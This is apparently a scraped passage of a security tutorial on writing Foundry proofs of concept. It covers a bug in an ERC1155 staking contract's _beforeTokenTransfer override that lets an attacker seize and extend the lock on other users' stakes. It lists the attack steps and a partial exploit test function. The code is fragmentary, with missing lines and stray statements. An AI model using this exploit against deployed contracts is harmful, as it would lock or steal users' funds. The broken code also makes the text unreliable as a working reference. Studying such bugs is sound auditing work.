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How To Use Foundry To PoC Bug Leads, Part 2


Introduction To ERC1155

.function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);

Mistake In Overriding Hook

function _beforeTokenTransfer(
address _from,
address _to,
uint256[] memory _ids,
uint256[] memory,
bytes memory
) internal override {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 tokenId = _ids[i];
Stake storage s = stakes[tokenId];
s.lastTransferTime = _getBlockTimestamp();
uint256 balance = _workingBalanceOfStake(s);
if (_from != address(0)) {
totalWorkingSupply -= balance;
_removeValue(stakesForAddress[_from], tokenId);
owners[tokenId] = address(0);
if (_to != address(0)) {
totalWorkingSupply += balance;
owners[tokenId] = _to;
} else {
// this is a burn, reset the fields of the stake record
delete stakes[tokenId];
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}

Assessing Impact

function extendStake(
uint256 _stakeId,
uint8 _additionalDuration,
uint248 _additionalAmount,
address[] calldata _vaultsToUpdate
) external nonReentrant {
require(_additionalAmount > 0 || _additionalDuration > 0, "!parameters");
Stake storage stake = stakes[_stakeId];
require(owners[_stakeId] == _msgSender(), "!owner");
uint8 newLockPeriod = stake.lockPeriod;
if (_additionalDuration > 0) {
newLockPeriod = stake.lockPeriod + _additionalDuration;
require(newLockPeriod <= MAX_LOCK_PERIOD, "!duration");
//... unrelated code

Let’s Build The PoC

  • Mint a staking position for the attacker
  • Use the vulnerability in _beforeTokenTransfer to transfer any prior staking position from the attacker to himself
  • Extend the duration of staking for the position since we have ownership over it
  • Use the vulnerability in _beforeTokenTransfer to transfer the attacker-created staking position back to the attacker so as to retrieve his funds
function testYopMaliciousLocking() public {
deal(address(yopToken), attacker1, 500 ether);
//Impersonate attacker1 for subsequent calls to contracts
uint8 lock_duration_months = 1;
uint realStakeId = 127;
uint additionalAmount = 0;
//Create a staking position
yopToken.approve(address(staking), 500 ether);
uint attackerStakeId = staking.stake(500 ether, 1);
staking.safeTransferFrom(attacker1, attacker1, realStakeId, additionalAmount, '');
//The stake with id 127 is locked for 3 months
uint8 lockTimeRealStakeId = 3;

//We lock the stake for the maximal duration
new address[](0)
//The beautiful thing is that the attacker can regain control of his stake
staking.safeTransferFrom(attacker1, attacker1, attackerStakeId, additionalAmount, '');
//Standard cheat for elapsing given time in seconds
staking.unstakeSingle(attackerStakeId, attacker1);

Another Hidden Bug

function _removeValue(uint256[] storage _values, uint256 _val) internal {
uint256 i;
for (i = 0; i < _values.length; i++) {
if (_values[i] == _val) {
for (; i < _values.length - 1; i++) {
_values[i] = _values[i + 1];

Additional Inconvenience




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